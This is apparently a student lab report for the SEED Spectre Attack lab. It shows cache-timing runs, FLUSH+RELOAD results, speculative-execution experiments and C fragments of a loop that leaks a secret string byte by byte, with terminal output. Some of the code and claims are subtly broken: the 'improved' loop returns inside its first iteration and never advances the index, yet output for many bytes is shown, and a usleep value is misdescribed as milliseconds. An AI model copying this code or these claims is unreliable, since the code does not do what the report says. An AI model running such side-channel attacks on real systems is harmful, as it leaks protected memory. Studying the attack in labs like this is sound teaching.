Eric Wong: 501174088
Rohan Manoharan: 501189408
Thylane Rossi: 501340990

TASK 1

- Compiling “CacheTime.c”

```
[09/26/24]seed@VM:~/.../Spectre_Attack$ ./ct
Access time for array[0*4096]: 3044 CPU cycles
Access time for array[1*4096]: 432 CPU cycles
Access time for array[2*4096]: 298 CPU cycles
Access time for array[3*4096]: 114 CPU cycles
Access time for array[4*4096]: 286 CPU cycles
Access time for array[5*4096]: 1576 CPU cycles
Access time for array[6*4096]: 310 CPU cycles
Access time for array[7*4096]: 88 CPU cycles
Access time for array[8*4096]: 310 CPU cycles
Access time for array[9*4096]: 294 CPU cycles
[09/26/24]seed@VM:~/.../Spectre_Attack$ ./ct
Access time for array[0*4096]: 2966 CPU cycles
Access time for array[1*4096]: 376 CPU cycles
Access time for array[2*4096]: 374 CPU cycles
Access time for array[3*4096]: 190 CPU cycles
Access time for array[4*4096]: 386 CPU cycles
Access time for array[5*4096]: 358 CPU cycles
Access time for array[6*4096]: 350 CPU cycles
Access time for array[7*4096]: 162 CPU cycles
Access time for array[8*4096]: 352 CPU cycles
Access time for array[9*4096]: 1558 CPU cycles
[09/26/24]seed@VM:~/.../Spectre_Attack$
```

- Can see that elements array[3*4096] and array[7*4096] are faster to access because they are in the CPU cache.

TASK 2

- Compiling “FlushReload.c”

```
[09/26/24]seed@VM:~/.../Spectre_Attack$ ./fr
array[94*4096 + 1024] is in cache.
The Secret = 94.
[09/26/24]seed@VM:~/.../Spectre_Attack$ ./fr
[09/26/24]seed@VM:~/.../Spectre_Attack$ ./fr
[09/26/24]seed@VM:~/.../Spectre_Attack$ ./fr
array[94*4096 + 1024] is in cache.
The Secret = 94.
[09/26/24]seed@VM:~/.../Spectre_Attack$ ./fr
array[94*4096 + 1024] is in cache.
The Secret = 94.
[09/26/24]seed@VM:~/.../Spectre_Attack$ ./fr
[09/26/24]seed@VM:~/.../Spectre_Attack$ ./fr
[09/26/24]seed@VM:~/.../Spectre_Attack$ ./fr
[09/26/24]seed@VM:~/.../Spectre_Attack$ ./fr
[09/26/24]seed@VM:~/.../Spectre_Attack$ ./fr
[09/26/24]seed@VM:~/.../Spectre_Attack$ ./fr
array[94*4096 + 1024] is in cache.
The Secret = 94.
```

- Secret is revealed 5 out of 13 times after FlushReload.c ran.

TASK 3

```
[09/26/24]seed@VM:~/.../Spectre_Attack$ ./se
[09/26/24]seed@VM:~/.../Spectre_Attack$ ./se
[09/26/24]seed@VM:~/.../Spectre_Attack$ ./se
array[97*4096 + 1024] is in cache.
The Secret = 97.
[09/26/24]seed@VM:~/.../Spectre_Attack$ ./se
[09/26/24]seed@VM:~/.../Spectre_Attack$ ./se
[09/26/24]seed@VM:~/.../Spectre_Attack$ ./se
[09/26/24]seed@VM:~/.../Spectre_Attack$ ./se
array[97*4096 + 1024] is in cache.
The Secret = 97.
[09/26/24]seed@VM:~/.../Spectre_Attack$ ./se
array[97*4096 + 1024] is in cache.
The Secret = 97.
[09/26/24]seed@VM:~/.../Spectre_Attack$ ./se
array[97*4096 + 1024] is in cache.
The Secret = 97.
[09/26/24]seed@VM:~/.../Spectre_Attack$ ./se
array[97*4096 + 1024] is in cache.
The Secret = 97.
[09/26/24]seed@VM:~/.../Spectre_Attack$ ./se
[09/26/24]seed@VM:~/.../Spectre_Attack$ ./se
[09/26/24]seed@VM:~/.../Spectre_Attack$
```

- Since x=97 > size, it manages to grab the effects on the CPU cache after it has been trained to expect x < size.
    - After commenting out "__mm__clflush(&size)", grabbing the effects on the CPU becomes very infrequent. It only managed to catch the secret value only 3 times after executing "SpectreExperiment.c" ~50 times.
    - After changing line 4 from victim(i) to victim(i+20), the program no longer outputs anything. This is because it is now trained to expect a false condition because of the 20 added onto x, which is obviously greater than 5.

TASK 4

```
[09/26/24]seed@VM:~/.../Spectre_Attack$ ./sa
array[0*4096 + 1024] is in cache.
The Secret = 0.
```

- When running SecretAttack.c 0 prints out to be 0, which is a false positive. This is improved upon in SecretAttackImproved.c
- Other than this, secret value prints out to be 83, which is the ASCII value for the character 'S' (hence '83(S)')

TASK 5

Part 1

```
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
Reading secret value at index -8208
The secret value is 0()
The number of hits is 686
```

- Running the code initially unedited, the secret value is 0.

```
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
Reading secret value at index -8208
The secret value is 83(S)
The number of hits is 43
```

- Changing the variables ‘max’ and ‘i’ to be ‘1’ will have the array reference the second element, ignoring the first. This is because the first element of array ‘score’ is the largest, thus will always return 0. This reveals the second highest element to be in scores[83].

```
int max = 1;
for (i = 1; i < 256; i++){
  if(scores[max] < scores[i]) max = i;
}
```

Part 2

```
[09/26/24]seed@VM:~/.../Labsetup$ vim SpectreAttack.c
[09/26/24]seed@VM:~/.../Labsetup$ vim SpectreAttackImproved.c
[09/26/24]seed@VM:~/.../Labsetup$ gcc SpectreAttackImproved.c
[09/26/24]seed@VM:~/.../Labsetup$ ./a.out
Reading secret value at index -8208
The secret value is 1()
The number of hits is 0
```

- Commenting out line 1 obviously removes the mass lines of *****, but also has the effect of changing the secret value to 1. Adding it back returns the secret value back to 83

Part 3

```
for (i = 0; i < 1000; i++) {
  printf("*****\n");  // This seemly "useless" line is necessary for the attack to succeed
  spectreAttack(index_beyond);
  usleep(10000);
  reloadSideChannelImproved();
}
```

- Changing the sleep timer to 10000 milliseconds changed the secret value to output a 1, observantly having the same secret value and number of hits observed when removing line 1 in part 2.

```
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
*****
Reading secret value at index -8208
The secret value is 1()
The number of hits is 0
```

TASK 6

Here's a breakdown of the differences between the new and old versions of the code:

```
int main() {
  int i;
  uint8_t s;
  size_t index_beyond = (size_t)(secret - (char*)buffer);

  flushSideChannel();
  for(i=0;i<256; i++) scores[i]=0;

  for (i = 0; i < 1000; i++) {
    printf("*****\n");  // This seemly "useless" line is necessary for the attack to succeed
    spectreAttack(index_beyond);
    usleep(10);
    reloadSideChannelImproved();
  }

  int max = 0;
  for (i = 0; i < 256; i++){
    if(scores[max] < scores[i]) max = i;
  }

  printf("Reading secret value at index %ld\n", index_beyond);
  printf("The secret value is %d(%c)\n", max, max);
  printf("The number of hits is %d\n", scores[max]);
  return (0);
}
```

Old Version

```
int main() {
  int i;
  uint8_t s;
  int k; //New variable for loop

  for (k = 0; k < strlen(secret); k++) // New loop to display the entire secret message
    {

    size_t index_beyond = (size_t)(secret - (char*)buffer);

    flushSideChannel();
  for(i=0;i<256; i++)
    scores[i]=0;

  for (i = 0; i < 1000; i++) {
    printf("*****\n");  // This seemly "useless" line is necessary for the attack to succeed
    spectreAttack(index_beyond);
    usleep(10);
    reloadSideChannelImproved();
  }

  int max = 1; // Before it was 0
  for (i = 0; i < 256; i++){
    if(scores[max] < scores[i]) max = i;
  }

  printf("Reading secret value at index %ld\n", index_beyond);
  printf("The secret value is %d(%c)\n", max, max);
  printf("The number of hits is %d\n", scores[max]);
  return (0);
  }
}
```

New version

1. Loop Over the Secret String:
- In the new code, the main attack loop is inside a `for` loop that iterates over each character of the `secret` string (`for (k = 0; k < strlen(secret); k++)`). This allows it to reveal more than just the first character of the secret, unlike the old version which only attempted to leak one character at a time.
  - This makes the new code capable of leaking the entire secret string, whereas the old one was limited to just one value.

2. Index Beyond Calculation:
  - Both versions calculate the `index_beyond` variable by subtracting the base of the `buffer` from the `secret` pointer. However, in the new version, this calculation is done within the loop, ensuring that it adjusts dynamically with each character of the secret.

3. Max Variable Initialization:
  - In the old code, `max` is initialized to 0. This can be problematic if the correct secret value corresponds to index 0 because the comparison logic might miss it.
  - In the new code, `max` is initialized to 1, reducing the chance of this issue occurring.

4. Result

```
Reading secret value at 0xffffffffffffdfec = The  secret value is 83:S
The number of hits is 6
Reading secret value at 0xffffffffffffdfed = The  secret value is 111:o
The number of hits is 3
Reading secret value at 0xffffffffffffdfee = The  secret value is 109:m
The number of hits is 3
Reading secret value at 0xffffffffffffdfef = The  secret value is 101:e
The number of hits is 6
Reading secret value at 0xffffffffffffdff0 = The  secret value is 32:
The number of hits is 3
Reading secret value at 0xffffffffffffdff1 = The  secret value is 83:S
The number of hits is 11
Reading secret value at 0xffffffffffffdff2 = The  secret value is 101:e
The number of hits is 6
Reading secret value at 0xffffffffffffdff3 = The  secret value is 99:c
The number of hits is 14
Reading secret value at 0xffffffffffffdff4 = The  secret value is 114:r
The number of hits is 6
Reading secret value at 0xffffffffffffdff5 = The  secret value is 101:e
The number of hits is 18
Reading secret value at 0xffffffffffffdff6 = The  secret value is 116:t
The number of hits is 10
Reading secret value at 0xffffffffffffdff7 = The  secret value is 32:
The number of hits is 3
Reading secret value at 0xffffffffffffdff8 = The  secret value is 86:V
The number of hits is 14
Reading secret value at 0xffffffffffffdff9 = The  secret value is 97:a
The number of hits is 10
Reading secret value at 0xffffffffffffdffa = The  secret value is 108:l
The number of hits is 5
Reading secret value at 0xffffffffffffdffb = The  secret value is 117:u
The number of hits is 6
```

Conclusion:
The new code improves on the previous version by allowing the extraction of the entire secret string, correcting potential issues with index comparisons, and improving the readability of the output. These changes make the Spectre attack more complete and effective at revealing the full secret.